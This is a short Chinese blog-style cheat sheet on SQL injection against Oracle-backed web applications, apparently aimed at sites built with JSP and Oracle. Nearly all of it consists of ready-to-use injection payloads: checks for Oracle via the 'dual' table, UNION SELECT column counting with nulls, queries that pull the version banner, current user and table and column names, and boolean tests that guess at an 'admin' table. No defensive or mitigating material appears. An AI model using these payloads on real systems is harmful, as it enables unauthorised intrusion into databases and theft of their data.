snowguy 2020-02-18
oracle是由甲骨文公司开发的大型数据库,一般应用于电商,铁路,银行等企业,
它具有如下特点:
常用jsp+oracle
and exists(select * from dual)
或
and exists(select * from user_tables)
假设列数为5
union select null,null,null,null,null from dual
注意一定要写null否则会报错
union select 1,null,null,null,null from dual
union select null,1,null,null,null from dual
union select null,(select banner from sys.v_$version where rownum=1),null,null,null from dual
1.获取数据库版本 select banner from sys.v_$version where rownum =1 2.获取操作系统版本 select member from v$logfile where rownum = 1 3.获取连接数据库的当前用户 select SYS_CONTEXT('USERENV','CURRENT_USER')from dual 4.获取数据库 select owner from all_tables where rownum = 1 5.获取表名 select table_name from user_tables where rownum = 1 6.获取列名 select column_name from user_tab_columns where table_name='admin' and rownum = 1 #admin替换成你需要的表名
and (select count(*) from admin)<>0
返回正常则存在admin表,错误则不存在
and (select count(name) from admin)>=0
返回正常则存在name列,错误则不存在